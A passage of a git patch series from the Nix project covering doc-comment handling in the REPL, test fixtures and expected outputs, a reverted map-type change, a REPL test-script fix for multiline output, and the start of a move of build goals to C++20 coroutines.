76190c0fa..452d265bc 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -36,13 +36,13 @@ do \ if (N) \ { \ - (Current).first_column = YYRHSLOC (Rhs, 1).first_column; \ - (Current).last_column = YYRHSLOC (Rhs, N).last_column; \ + (Current).beginOffset = YYRHSLOC (Rhs, 1).beginOffset; \ + (Current).endOffset = YYRHSLOC (Rhs, N).endOffset; \ } \ else \ { \ - (Current).first_column = (Current).last_column = \ - YYRHSLOC (Rhs, 0).last_column; \ + (Current).beginOffset = (Current).endOffset = \ + YYRHSLOC (Rhs, 0).endOffset; \ } \ while (0) @@ -83,7 +83,7 @@ using namespace nix; void yyerror(YYLTYPE * loc, yyscan_t scanner, ParserState * state, const char * error) { if (std::string_view(error).starts_with("syntax error, unexpected end of file")) { - loc->first_column = loc->last_column; + loc->beginOffset = loc->endOffset; } throw ParseError({ .msg = HintFmt(error), From 8a855296f555fdb5a334acb5f482f3c781e87657 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 15 Jul 2024 14:27:09 +0200 Subject: [PATCH 1094/1251] tests/function/repl: Characterise the missing doc comment behavior --- src/libexpr/nixexpr.cc | 2 ++ .../repl/doc-comment-curried-args.expected | 24 ++++++++++++++++ .../repl/doc-comment-curried-args.in | 7 +++++ .../repl/doc-comment-formals.expected | 13 +++++++++ tests/functional/repl/doc-comment-formals.in | 3 ++ tests/functional/repl/doc-comments.nix | 27 ++++++++++-------- tests/functional/repl/doc-constant.expected | 28 +++++++++---------- .../repl/doc-lambda-flavors.expected | 8 +++--- .../functional/repl/doc-unambiguous.expected | 2 +- 9 files changed, 83 insertions(+), 31 deletions(-) create mode 100644 tests/functional/repl/doc-comment-curried-args.expected create mode 100644 tests/functional/repl/doc-comment-curried-args.in create mode 100644 tests/functional/repl/doc-comment-formals.expected create mode 100644 tests/functional/repl/doc-comment-formals.in diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index 5479dd79e..d54f0b684 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -584,6 +584,8 @@ std::string ExprLambda::showNamePos(const EvalState & state) const } void ExprLambda::setDocComment(DocComment docComment) { + // RFC 145 specifies that the innermost doc comment wins. + // See https://github.com/NixOS/rfcs/blob/master/rfcs/0145-doc-strings.md#ambiguous-placement if (!this->docComment) { this->docComment = docComment; diff --git a/tests/functional/repl/doc-comment-curried-args.expected b/tests/functional/repl/doc-comment-curried-args.expected new file mode 100644 index 000000000..c10c171e1 --- /dev/null +++ b/tests/functional/repl/doc-comment-curried-args.expected @@ -0,0 +1,24 @@ +Nix +Type :? for help. +Added variables. + +Function curriedArgs + … defined at + /path/to/tests/functional/repl/doc-comments.nix:48:5 + + A documented function. + + +"Note that users may not expect this to behave as it currently does" + +Function curriedArgs + … defined at + /path/to/tests/functional/repl/doc-comments.nix:50:5 + + The function returned by applying once + +"This won't produce documentation, because we can't actually document arbitrary values" + +error: value does not have documentation + + diff --git a/tests/functional/repl/doc-comment-curried-args.in b/tests/functional/repl/doc-comment-curried-args.in new file mode 100644 index 000000000..8dbbfc370 --- /dev/null +++ b/tests/functional/repl/doc-comment-curried-args.in @@ -0,0 +1,7 @@ +:l doc-comments.nix +:doc curriedArgs +x = curriedArgs 1 +"Note that users may not expect this to behave as it currently does" +:doc x +"This won't produce documentation, because we can't actually document arbitrary values" +:doc x 2 diff --git a/tests/functional/repl/doc-comment-formals.expected b/tests/functional/repl/doc-comment-formals.expected new file mode 100644 index 000000000..704c0050b --- /dev/null +++ b/tests/functional/repl/doc-comment-formals.expected @@ -0,0 +1,13 @@ +Nix +Type :? for help. +Added variables. + +"Note that this is not yet complete" + +Function documentedFormals + … defined at + /path/to/tests/functional/repl/doc-comments.nix:57:5 + + Finds x + + diff --git a/tests/functional/repl/doc-comment-formals.in b/tests/functional/repl/doc-comment-formals.in new file mode 100644 index 000000000..e32fb8ab1 --- /dev/null +++ b/tests/functional/repl/doc-comment-formals.in @@ -0,0 +1,3 @@ +:l doc-comments.nix +"Note that this is not yet complete" +:doc documentedFormals diff --git a/tests/functional/repl/doc-comments.nix b/tests/functional/repl/doc-comments.nix index a98f1c688..e91ee0b51 100644 --- a/tests/functional/repl/doc-comments.nix +++ b/tests/functional/repl/doc-comments.nix @@ -17,6 +17,7 @@ compact=/**boom*/x: x; + # https://github.com/NixOS/rfcs/blob/master/rfcs/0145-doc-strings.md#ambiguous-placement /** Ignore!!! */ unambiguous = /** Very close */ @@ -41,17 +42,19 @@ # TODO - # /** This returns a documented function. */ - # documentedArgs = - # /** x */ - # x: - # /** y */ - # y: - # /** x + y */ - # x + y; + /** You won't see this. */ + curriedArgs = + /** A documented function. */ + x: + /** The function returned by applying once */ + y: + /** A function body performing summation of two items */ + x + y; - # /** Documented formals */ - # documentedFormals = - # /** x */ - # x: x; + /** Documented formals (but you won't see this comment) */ + documentedFormals = + /** Finds x */ + { /** The x attribute */ + x + }: x; } diff --git a/tests/functional/repl/doc-constant.expected b/tests/functional/repl/doc-constant.expected index 9aca06178..c66558333 100644 --- a/tests/functional/repl/doc-constant.expected +++ b/tests/functional/repl/doc-constant.expected @@ -7,24 +7,24 @@ error: value does not have documentation Attribute version … defined at - /path/to/tests/functional/repl/doc-comments.nix:29:3 + /path/to/tests/functional/repl/doc-comments.nix:30:3 Immovably fixed. Attribute empty … defined at - /path/to/tests/functional/repl/doc-comments.nix:32:3 + /path/to/tests/functional/repl/doc-comments.nix:33:3 Unchangeably constant. error: … while evaluating the attribute 'attr.undocument' - at /path/to/tests/functional/repl/doc-comments.nix:32:3: - 31| /** Unchangeably constant. */ - 32| lib.attr.empty = { }; + at /path/to/tests/functional/repl/doc-comments.nix:33:3: + 32| /** Unchangeably constant. */ + 33| lib.attr.empty = { }; | ^ - 33| + 34| error: attribute 'undocument' missing at «string»:1:1: @@ -35,28 +35,28 @@ error: Attribute constant … defined at - /path/to/tests/functional/repl/doc-comments.nix:26:3 + /path/to/tests/functional/repl/doc-comments.nix:27:3 Firmly rigid. Attribute version … defined at - /path/to/tests/functional/repl/doc-comments.nix:29:3 + /path/to/tests/functional/repl/doc-comments.nix:30:3 Immovably fixed. Attribute empty … defined at - /path/to/tests/functional/repl/doc-comments.nix:32:3 + /path/to/tests/functional/repl/doc-comments.nix:33:3 Unchangeably constant. Attribute undocumented … defined at - /path/to/tests/functional/repl/doc-comments.nix:34:3 + /path/to/tests/functional/repl/doc-comments.nix:35:3 No documentation found. @@ -87,11 +87,11 @@ error: attribute 'missing' missing error: … while evaluating the attribute 'attr.undocumental' - at /path/to/tests/functional/repl/doc-comments.nix:32:3: - 31| /** Unchangeably constant. */ - 32| lib.attr.empty = { }; + at /path/to/tests/functional/repl/doc-comments.nix:33:3: + 32| /** Unchangeably constant. */ + 33| lib.attr.empty = { }; | ^ - 33| + 34| error: attribute 'undocumental' missing at «string»:1:1: diff --git a/tests/functional/repl/doc-lambda-flavors.expected b/tests/functional/repl/doc-lambda-flavors.expected index 4ac52f39e..43f483ce9 100644 --- a/tests/functional/repl/doc-lambda-flavors.expected +++ b/tests/functional/repl/doc-lambda-flavors.expected @@ -4,25 +4,25 @@ Added variables. Function nonStrict … defined at - /path/to/tests/functional/repl/doc-comments.nix:36:70 + /path/to/tests/functional/repl/doc-comments.nix:37:70 My syntax is not strict, but I'm strict anyway. Function strict … defined at - /path/to/tests/functional/repl/doc-comments.nix:37:63 + /path/to/tests/functional/repl/doc-comments.nix:38:63 I don't have to be strict, but I am anyway. Function strictPre … defined at - /path/to/tests/functional/repl/doc-comments.nix:39:48 + /path/to/tests/functional/repl/doc-comments.nix:40:48 Here's one way to do this Function strictPost … defined at - /path/to/tests/functional/repl/doc-comments.nix:40:53 + /path/to/tests/functional/repl/doc-comments.nix:41:53 Here's another way to do this diff --git a/tests/functional/repl/doc-unambiguous.expected b/tests/functional/repl/doc-unambiguous.expected index 0f89a6f64..825aa1ee1 100644 --- a/tests/functional/repl/doc-unambiguous.expected +++ b/tests/functional/repl/doc-unambiguous.expected @@ -4,7 +4,7 @@ Added variables. Function unambiguous … defined at - /path/to/tests/functional/repl/doc-comments.nix:23:5 + /path/to/tests/functional/repl/doc-comments.nix:24:5 Very close From 6bbd493d49fa58aa128a2419db5b1139d5c7a944 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 15 Jul 2024 15:08:41 +0200 Subject: [PATCH 1095/1251] libcmd/repl-interacter: INT_MAX -> numeric_limits --- src/libcmd/repl-interacter.cc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libcmd/repl-interacter.cc b/src/libcmd/repl-interacter.cc index 420cce1db..b285c8a9a 100644 --- a/src/libcmd/repl-interacter.cc +++ b/src/libcmd/repl-interacter.cc @@ -73,7 +73,7 @@ static int listPossibleCallback(char * s, char *** avp) { auto possible = curRepl->completePrefix(s); - if (possible.size() > (INT_MAX / sizeof(char *))) + if (possible.size() > (std::numeric_limits::max() / sizeof(char *))) throw Error("too many completions"); int ac = 0; From 131b6ccc716d1807f4ea91bc3fc1239ff7775648 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 15 Jul 2024 18:04:33 +0200 Subject: [PATCH 1096/1251] nixexpr.hh: Avoid the warning and pragmas --- src/libexpr/nixexpr.hh | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/src/libexpr/nixexpr.hh b/src/libexpr/nixexpr.hh index 4c4c8af19..1bcc962c5 100644 --- a/src/libexpr/nixexpr.hh +++ b/src/libexpr/nixexpr.hh @@ -36,16 +36,11 @@ struct Value; */ struct DocComment { -#pragma GCC diagnostic push -#pragma GCC diagnostic ignored "-Wcomment" // "nested comment start" is intentional - /** - * Start of the comment, including `/**`. + * Start of the comment, including the opening, ie `/` and `**`. */ PosIdx begin; -#pragma GCC diagnostic pop - /** * Position right after the final asterisk and `/` that terminate the comment. */ From 21817473e8035e2231c083c46184724057a30d7f Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 15 Jul 2024 19:04:37 +0200 Subject: [PATCH 1097/1251] Doc comments: use std::unordered_map Co-authored-by: Eelco Dolstra --- src/libexpr/eval.hh | 4 ++-- src/libexpr/parser-state.hh | 2 +- src/libexpr/parser.y | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 3918fb092..d9a3e80bc 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -130,7 +130,7 @@ struct Constant typedef std::map ValMap; #endif -typedef std::map DocCommentMap; +typedef std::unordered_map DocCommentMap; struct Env { @@ -335,7 +335,7 @@ private: * Associate source positions of certain AST nodes with their preceding doc comment, if they have one. * Grouped by file. */ - std::map positionToDocComment; + std::unordered_map positionToDocComment; LookupPath lookupPath; diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 983a17a2e..5a7bcb717 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -64,7 +64,7 @@ struct LexerState /** * @brief Maps some positions to a DocComment, where the comment is relevant to the location. */ - std::map & positionToDocComment; + std::unordered_map & positionToDocComment; PosTable & positions; PosTable::Origin origin; diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 452d265bc..8ea176b24 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -48,7 +48,7 @@ namespace nix { -typedef std::map DocCommentMap; +typedef std::unordered_map DocCommentMap; Expr * parseExprFromBuf( char * text, From ac89df815d90eec38935f6c238df8811bd907cf9 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 15 Jul 2024 19:23:23 +0200 Subject: [PATCH 1098/1251] libcmd/repl.cc: Explain evalString call and defend --- src/libcmd/repl.cc | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index fb8106c46..b5d0816dd 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -632,8 +632,13 @@ ProcessLineResult NixRepl::processLine(std::string line) assert(attrs); auto attr = attrs->get(name); if (!attr) { - // Trigger the normal error + // When missing, trigger the normal exception + // e.g. :doc builtins.foo + // behaves like + // nix-repl> builtins.foo + // error: attribute 'foo' missing evalString(arg, v); + assert(false); } if (attr->pos) { fallbackPos = attr->pos; From 6a125e65d0f2dac90cdc69f16be0a4bd888c7a2f Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 15 Jul 2024 19:33:56 +0200 Subject: [PATCH 1099/1251] Revert "Doc comments: use std::unordered_map" hash isn't implemented yet, and I can't cherry-pick a bug-free commit yet. This reverts commit 95529f31e3bbda99111c5ce98a33484dc6e7a462. --- src/libexpr/eval.hh | 4 ++-- src/libexpr/parser-state.hh | 2 +- src/libexpr/parser.y | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index d9a3e80bc..3918fb092 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -130,7 +130,7 @@ struct Constant typedef std::map ValMap; #endif -typedef std::unordered_map DocCommentMap; +typedef std::map DocCommentMap; struct Env { @@ -335,7 +335,7 @@ private: * Associate source positions of certain AST nodes with their preceding doc comment, if they have one. * Grouped by file. */ - std::unordered_map positionToDocComment; + std::map positionToDocComment; LookupPath lookupPath; diff --git a/src/libexpr/parser-state.hh b/src/libexpr/parser-state.hh index 5a7bcb717..983a17a2e 100644 --- a/src/libexpr/parser-state.hh +++ b/src/libexpr/parser-state.hh @@ -64,7 +64,7 @@ struct LexerState /** * @brief Maps some positions to a DocComment, where the comment is relevant to the location. */ - std::unordered_map & positionToDocComment; + std::map & positionToDocComment; PosTable & positions; PosTable::Origin origin; diff --git a/src/libexpr/parser.y b/src/libexpr/parser.y index 8ea176b24..452d265bc 100644 --- a/src/libexpr/parser.y +++ b/src/libexpr/parser.y @@ -48,7 +48,7 @@ namespace nix { -typedef std::unordered_map DocCommentMap; +typedef std::map DocCommentMap; Expr * parseExprFromBuf( char * text, From ce31a0457f1e2e32d751200bb0a964d4a3e8f253 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 15 Jul 2024 19:55:01 +0200 Subject: [PATCH 1100/1251] Use HintFmt for doc comments --- src/libcmd/repl.cc | 6 +++--- src/libexpr/eval.cc | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index b5d0816dd..a555fcfcc 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -668,12 +668,12 @@ ProcessLineResult NixRepl::processLine(std::string line) logger->cout(trim(renderMarkdownToTerminal(markdown))); } else if (fallbackPos) { std::stringstream ss; - ss << "Attribute `" << fallbackName << "`\n\n"; - ss << " … defined at " << state->positions[fallbackPos] << "\n\n"; + ss << HintFmt("Attribute '%1%'", fallbackName) << "\n\n"; + ss << HintFmt(" … defined at %1%", state->positions[fallbackPos]) << "\n\n"; if (fallbackDoc) { ss << fallbackDoc.getInnerText(state->positions); } else { - ss << "No documentation found.\n\n"; + ss << HintFmt("No documentation found.") << "\n\n"; } auto markdown = ss.str(); diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index c309e7e98..dd3677e39 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -576,17 +576,17 @@ std::optional EvalState::getDoc(Value & v) } if (name.empty()) { - s << "Function "; + s << HintFmt("Function "); } else { - s << "Function `" << name << "`"; + s << HintFmt("Function '%s'", name); if (pos) s << "\\\n … " ; else s << "\\\n"; } if (pos) { - s << "defined at " << pos; + s << HintFmt("defined at %1%", pos); } if (!docStr.empty()) { s << "\n\n"; From 03d33703ef60ec40d8c376e4d935e991fc176294 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 15 Jul 2024 19:55:05 +0200 Subject: [PATCH 1101/1251] Revert "Use HintFmt for doc comments" MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Unfortunately these don't render correctly, because they go into the markdown renderer, instead of the terminal. ``` nix-repl> :doc lib.version Attribute '[35;1mversion[0m' … defined at [35;1m/home/user/h/nixpkgs/lib/default.nix:73:40[0m ``` We could switch that to go direct to the terminal, but then we should do the same for the primops, to get a consistent look. Reverting for now. This reverts commit 3413e0338cbee1c7734d5cb614b5325e51815cde. --- src/libcmd/repl.cc | 6 +++--- src/libexpr/eval.cc | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index a555fcfcc..b5d0816dd 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -668,12 +668,12 @@ ProcessLineResult NixRepl::processLine(std::string line) logger->cout(trim(renderMarkdownToTerminal(markdown))); } else if (fallbackPos) { std::stringstream ss; - ss << HintFmt("Attribute '%1%'", fallbackName) << "\n\n"; - ss << HintFmt(" … defined at %1%", state->positions[fallbackPos]) << "\n\n"; + ss << "Attribute `" << fallbackName << "`\n\n"; + ss << " … defined at " << state->positions[fallbackPos] << "\n\n"; if (fallbackDoc) { ss << fallbackDoc.getInnerText(state->positions); } else { - ss << HintFmt("No documentation found.") << "\n\n"; + ss << "No documentation found.\n\n"; } auto markdown = ss.str(); diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index dd3677e39..c309e7e98 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -576,17 +576,17 @@ std::optional EvalState::getDoc(Value & v) } if (name.empty()) { - s << HintFmt("Function "); + s << "Function "; } else { - s << HintFmt("Function '%s'", name); + s << "Function `" << name << "`"; if (pos) s << "\\\n … " ; else s << "\\\n"; } if (pos) { - s << HintFmt("defined at %1%", pos); + s << "defined at " << pos; } if (!docStr.empty()) { s << "\n\n"; From 61a4d3d45c91cb19a114796846e5af014f59a6b6 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Mon, 15 Jul 2024 20:08:41 +0200 Subject: [PATCH 1102/1251] getSnippetUpTo: Return optional This makes it possible to certain discern failures from empty snippets, which I think is an ok review comment. Maybe it should do so for swapped column indexes too, but I'm not sure. I don't think it matters in the grand scheme. We don't even have a real use case for `nullopt` now anyway. Since we don't have a use case, I'm not applying this logic to higher level functions yet. --- src/libexpr/nixexpr.cc | 2 +- src/libutil/position.cc | 6 +++--- src/libutil/position.hh | 2 +- tests/unit/libutil/position.cc | 8 +++++--- 4 files changed, 10 insertions(+), 8 deletions(-) diff --git a/src/libexpr/nixexpr.cc b/src/libexpr/nixexpr.cc index d54f0b684..93c8bdef6 100644 --- a/src/libexpr/nixexpr.cc +++ b/src/libexpr/nixexpr.cc @@ -646,7 +646,7 @@ size_t SymbolTable::totalSize() const std::string DocComment::getInnerText(const PosTable & positions) const { auto beginPos = positions[begin]; auto endPos = positions[end]; - auto docCommentStr = beginPos.getSnippetUpTo(endPos); + auto docCommentStr = beginPos.getSnippetUpTo(endPos).value_or(""); // Strip "/**" and "*/" constexpr size_t prefixLen = 3; diff --git a/src/libutil/position.cc b/src/libutil/position.cc index 508816d85..3289dbe8b 100644 --- a/src/libutil/position.cc +++ b/src/libutil/position.cc @@ -110,11 +110,11 @@ void Pos::LinesIterator::bump(bool atFirst) input.remove_prefix(eol); } -std::string Pos::getSnippetUpTo(const Pos & end) const { +std::optional Pos::getSnippetUpTo(const Pos & end) const { assert(this->origin == end.origin); if (end.line < this->line) - return ""; + return std::nullopt; if (auto source = getSource()) { @@ -152,7 +152,7 @@ std::string Pos::getSnippetUpTo(const Pos & end) const { } return result; } - return ""; + return std::nullopt; } diff --git a/src/libutil/position.hh b/src/libutil/position.hh index aba263fdf..25217069c 100644 --- a/src/libutil/position.hh +++ b/src/libutil/position.hh @@ -64,7 +64,7 @@ struct Pos bool operator==(const Pos & rhs) const = default; auto operator<=>(const Pos & rhs) const = default; - std::string getSnippetUpTo(const Pos & end) const; + std::optional getSnippetUpTo(const Pos & end) const; /** * Get the SourcePath, if the source was loaded from a file. diff --git a/tests/unit/libutil/position.cc b/tests/unit/libutil/position.cc index d38d2c538..484ecc247 100644 --- a/tests/unit/libutil/position.cc +++ b/tests/unit/libutil/position.cc @@ -25,7 +25,7 @@ TEST(Position, getSnippetUpTo_1) ASSERT_EQ(start.getSnippetUpTo(start), ""); ASSERT_EQ(start.getSnippetUpTo(end), "x"); ASSERT_EQ(end.getSnippetUpTo(end), ""); - ASSERT_EQ(end.getSnippetUpTo(start), ""); + ASSERT_EQ(end.getSnippetUpTo(start), std::nullopt); } { // NOTE: line and column are actually 1-based indexes @@ -37,7 +37,7 @@ TEST(Position, getSnippetUpTo_1) ASSERT_EQ(start.getSnippetUpTo(end), ""); ASSERT_EQ(end.getSnippetUpTo(end), ""); - ASSERT_EQ(end.getSnippetUpTo(start), ""); + ASSERT_EQ(end.getSnippetUpTo(start), std::nullopt); } { Pos start(1, 1, o); @@ -53,7 +53,7 @@ TEST(Position, getSnippetUpTo_1) ASSERT_EQ(start.getSnippetUpTo(start), ""); ASSERT_EQ(start.getSnippetUpTo(end), "x"); ASSERT_EQ(end.getSnippetUpTo(end), ""); - ASSERT_EQ(end.getSnippetUpTo(start), ""); + ASSERT_EQ(end.getSnippetUpTo(start), std::nullopt); } } TEST(Position, getSnippetUpTo_2) @@ -65,6 +65,8 @@ TEST(Position, getSnippetUpTo_2) ASSERT_EQ(start.getSnippetUpTo(start), ""); ASSERT_EQ(start.getSnippetUpTo(end), "a"); ASSERT_EQ(end.getSnippetUpTo(end), ""); + + // nullopt? I feel like changing the column handling would just make it more fragile ASSERT_EQ(end.getSnippetUpTo(start), ""); } { From 1bec90e3c4792289b960875d050ec65fd273a780 Mon Sep 17 00:00:00 2001 From: Goldstein Date: Mon, 15 Jul 2024 23:11:26 +0300 Subject: [PATCH 1103/1251] tests/functional/repl.sh: fail test on wrong stdout Previous test implementation assumed that grep supports newlines in patterns. It doesn't, so tests spuriously passed, even though some tests outputs were broken. This patches output (and expected output) before grepping, so there're no newlines in pattern. --- tests/functional/repl.sh | 26 ++++++++++++++++++-------- 1 file changed, 18 insertions(+), 8 deletions(-) diff --git a/tests/functional/repl.sh b/tests/functional/repl.sh index c1f265df3..4f5bb36aa 100755 --- a/tests/functional/repl.sh +++ b/tests/functional/repl.sh @@ -74,21 +74,31 @@ testReplResponseGeneral () { local grepMode commands expectedResponse response grepMode="$1"; shift commands="$1"; shift - expectedResponse="$1"; shift - response="$(nix repl "$@" <<< "$commands" | stripColors)" - echo "$response" | grepQuiet "$grepMode" -s "$expectedResponse" \ - || fail "repl command set: + # Expected response can contain newlines. + # grep can't handle multiline patterns, so replace newlines with TEST_NEWLINE + # in both expectedResponse and response. + # awk ORS always adds a trailing record separator, so we strip it with sed. + expectedResponse="$(printf '%s' "$1" | awk 1 ORS=TEST_NEWLINE | sed 's/TEST_NEWLINE$//')"; shift + # We don't need to strip trailing record separator here, since extra data is ok. + response="$(nix repl "$@" <<< "$commands" 2>&1 | stripColors | awk 1 ORS=TEST_NEWLINE)" + printf '%s' "$response" | grepQuiet "$grepMode" -s "$expectedResponse" \ + || fail "$(echo "repl command set: $commands does not respond with: +--- $expectedResponse +--- but with: +--- $response -" +--- + +" | sed 's/TEST_NEWLINE/\n/g')" } testReplResponse () { @@ -190,7 +200,7 @@ testReplResponseNoRegex ' let x = { y = { a = 1; }; inherit x; }; in x ' \ '{ - x = { ... }; + x = «repeated»; y = { ... }; } ' @@ -242,7 +252,7 @@ testReplResponseNoRegex ' ' \ '{ x = «repeated»; - y = { a = 1 }; + y = { a = 1; }; } ' @@ -256,7 +266,7 @@ runRepl () { # That is right, we are also filtering out the testdir _without underscores_. # This is crazy, but without it, GHA will fail to run the tests, showing paths - # _with_ underscores in the set -x log, but _without_ underscores in the + # _with_ underscores in the set -x log, but _without_ underscores in the # supposed nix repl output. I have looked in a number of places, but I cannot # find a mechanism that could cause this to happen. local testDirNoUnderscores From 846869da0ed0580beb7f827b303fef9a8386de37 Mon Sep 17 00:00:00 2001 From: Las Safin Date: Mon, 15 Jul 2024 21:49:15 +0100 Subject: [PATCH 1104/1251] Make goals use C++20 coroutines (#11005) undefined --- src/libstore/build/derivation-goal.cc | 141 +++++---- src/libstore/build/derivation-goal.hh | 32 +- .../build/drv-output-substitution-goal.cc | 204 ++++++------- .../build/drv-output-substitution-goal.hh | 37 +-- src/libstore/build/goal.cc | 114 ++++++- src/libstore/build/goal.hh | 283 +++++++++++++++++- src/libstore/build/substitution-goal.cc | 244 +++++++-------- src/libstore/build/substitution-goal.hh | 63 +--- src/libstore/build/worker.cc | 40 ++- .../unix/build/local-derivation-goal.cc | 19 +- .../unix/build/local-derivation-goal.hh | 2 +- 11 files changed, 708 insertions(+), 471 deletions(-) diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc index f795b05a1..010f905d6 100644 --- a/src/libstore/build/derivation-goal.cc +++ b/src/libstore/build/derivation-goal.cc @@ -36,6 +36,14 @@ namespace nix { +Goal::Co DerivationGoal::init() { + if (useDerivation) { + co_return getDerivation(); + } else { + co_return haveDerivation(); + } +} + DerivationGoal::DerivationGoal(const StorePath & drvPath, const OutputsSpec & wantedOutputs, Worker & worker, BuildMode buildMode) : Goal(worker, DerivedPath::Built { .drvPath = makeConstantStorePathRef(drvPath), .outputs = wantedOutputs }) @@ -44,7 +52,6 @@ DerivationGoal::DerivationGoal(const StorePath & drvPath, , wantedOutputs(wantedOutputs) , buildMode(buildMode) { - state = &DerivationGoal::getDerivation; name = fmt( "building of '%s' from .drv file", DerivedPath::Built { makeConstantStorePathRef(drvPath), wantedOutputs }.to_string(worker.store)); @@ -65,7 +72,6 @@ DerivationGoal::DerivationGoal(const StorePath & drvPath, const BasicDerivation { this->drv = std::make_unique(drv); - state = &DerivationGoal::haveDerivation; name = fmt( "building of '%s' from in-memory derivation", DerivedPath::Built { makeConstantStorePathRef(drvPath), drv.outputNames() }.to_string(worker.store)); @@ -109,13 +115,9 @@ void DerivationGoal::killChild() void DerivationGoal::timedOut(Error && ex) { killChild(); - done(BuildResult::TimedOut, {}, std::move(ex)); -} - - -void DerivationGoal::work() -{ - (this->*state)(); + // We're not inside a coroutine, hence we can't use co_return here. + // Thus we ignore the return value. + [[maybe_unused]] Done _ = done(BuildResult::TimedOut, {}, std::move(ex)); } void DerivationGoal::addWantedOutputs(const OutputsSpec & outputs) @@ -139,7 +141,7 @@ void DerivationGoal::addWantedOutputs(const OutputsSpec & outputs) } -void DerivationGoal::getDerivation() +Goal::Co DerivationGoal::getDerivation() { trace("init"); @@ -147,23 +149,22 @@ void DerivationGoal::getDerivation() exists. If it doesn't, it may be created through a substitute. */ if (buildMode == bmNormal && worker.evalStore.isValidPath(drvPath)) { - loadDerivation(); - return; + co_return loadDerivation(); } addWaitee(upcast_goal(worker.makePathSubstitutionGoal(drvPath))); - state = &DerivationGoal::loadDerivation; + co_await Suspend{}; + co_return loadDerivation(); } -void DerivationGoal::loadDerivation() +Goal::Co DerivationGoal::loadDerivation() { trace("loading derivation"); if (nrFailed != 0) { - done(BuildResult::MiscFailure, {}, Error("cannot build missing derivation '%s'", worker.store.printStorePath(drvPath))); - return; + co_return done(BuildResult::MiscFailure, {}, Error("cannot build missing derivation '%s'", worker.store.printStorePath(drvPath))); } /* `drvPath' should already be a root, but let's be on the safe @@ -185,11 +186,11 @@ void DerivationGoal::loadDerivation() } assert(drv); - haveDerivation(); + co_return haveDerivation(); } -void DerivationGoal::haveDerivation() +Goal::Co DerivationGoal::haveDerivation() { trace("have derivation"); @@ -217,8 +218,7 @@ void DerivationGoal::haveDerivation() }); } - gaveUpOnSubstitution(); - return; + co_return gaveUpOnSubstitution(); } for (auto & i : drv->outputsAndOptPaths(worker.store)) @@ -240,8 +240,7 @@ void DerivationGoal::haveDerivation() /* If they are all valid, then we're done. */ if (allValid && buildMode == bmNormal) { - done(BuildResult::AlreadyValid, std::move(validOutputs)); - return; + co_return done(BuildResult::AlreadyValid, std::move(validOutputs)); } /* We are first going to try to create the invalid output paths @@ -268,24 +267,21 @@ void DerivationGoal::haveDerivation() } } - if (waitees.empty()) /* to prevent hang (no wake-up event) */ - outputsSubstitutionTried(); - else - state = &DerivationGoal::outputsSubstitutionTried; + if (!waitees.empty()) co_await Suspend{}; /* to prevent hang (no wake-up event) */ + co_return outputsSubstitutionTried(); } -void DerivationGoal::outputsSubstitutionTried() +Goal::Co DerivationGoal::outputsSubstitutionTried() { trace("all outputs substituted (maybe)"); assert(!drv->type().isImpure()); if (nrFailed > 0 && nrFailed > nrNoSubstituters + nrIncompleteClosure && !settings.tryFallback) { - done(BuildResult::TransientFailure, {}, + co_return done(BuildResult::TransientFailure, {}, Error("some substitutes for the outputs of derivation '%s' failed (usually happens due to networking issues); try '--fallback' to build derivation from source ", worker.store.printStorePath(drvPath))); - return; } /* If the substitutes form an incomplete closure, then we should @@ -319,32 +315,29 @@ void DerivationGoal::outputsSubstitutionTried() if (needRestart == NeedRestartForMoreOutputs::OutputsAddedDoNeed) { needRestart = NeedRestartForMoreOutputs::OutputsUnmodifedDontNeed; - haveDerivation(); - return; + co_return haveDerivation(); } auto [allValid, validOutputs] = checkPathValidity(); if (buildMode == bmNormal && allValid) { - done(BuildResult::Substituted, std::move(validOutputs)); - return; + co_return done(BuildResult::Substituted, std::move(validOutputs)); } if (buildMode == bmRepair && allValid) { - repairClosure(); - return; + co_return repairClosure(); } if (buildMode == bmCheck && !allValid) throw Error("some outputs of '%s' are not valid, so checking is not possible", worker.store.printStorePath(drvPath)); /* Nothing to wait for; tail call */ - gaveUpOnSubstitution(); 